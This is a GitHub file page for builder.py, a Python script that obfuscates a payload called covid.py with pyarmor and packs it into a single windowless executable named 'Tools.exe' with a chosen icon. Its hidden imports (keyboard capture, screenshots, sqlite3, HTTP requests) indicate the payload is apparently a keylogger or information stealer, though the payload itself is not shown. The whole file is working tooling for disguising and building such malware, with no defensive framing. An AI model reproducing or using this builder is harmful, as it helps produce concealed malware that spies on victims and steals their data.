Uh oh!
There was an error while loading. Please reload this page.
- Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathbuilder.py
More file actions
Latest commit
84 lines (62 loc) · 1.66 KB
/
Copy pathbuilder.py
File metadata and controls
84 lines (62 loc) · 1.66 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
importos
importsubprocess
importshutil
importjson
fromtkinterimportTk, filedialog
defrun(cmd):
result=subprocess.run(cmd)
ifresult.returncode!=0:
exit(1)
defbuilder():
root=Tk()
root.withdraw()
icon_path=filedialog.askopenfilename(
title="Choisir une icône",
filetypes=[("ICO files", "*.ico")]
)
ifnoticon_path:
print("Aucune icône choisie")
return
config_path=os.path.abspath("config.json")
ifnotos.path.exists(config_path):
return
output_dir="covid-exe"
build_dir="build"
dist_dir="dist"
obf_dir="obf"
os.makedirs(output_dir, exist_ok=True)
fordin [build_dir, dist_dir, obf_dir]:
ifos.path.exists(d):
shutil.rmtree(d)
run([
"pyarmor",
"gen",
"-O", obf_dir,
"covid.py"
])
target_file=os.path.join(obf_dir, "covid.py")
scanner_path=os.path.abspath("scanner.py")
run([
"pyinstaller",
"--onefile",
"--noconsole",
"--clean",
"--name", "Tools",
"--distpath", output_dir,
"--workpath", build_dir,
"--specpath", build_dir,
"--icon", icon_path,
"--paths=.",
"--hidden-import=requests",
"--hidden-import=pynput.keyboard",
"--hidden-import=mss",
"--hidden-import=sqlite3",
"--hidden-import=webbrowser",
"--collect-binaries", "sqlite3",
"--add-data", f"{scanner_path};.",
"--add-data", f"{config_path};.",
target_file
])
print(f"\nTerminé -> {output_dir}/Tools.exe")
if__name__=="__main__":
builder()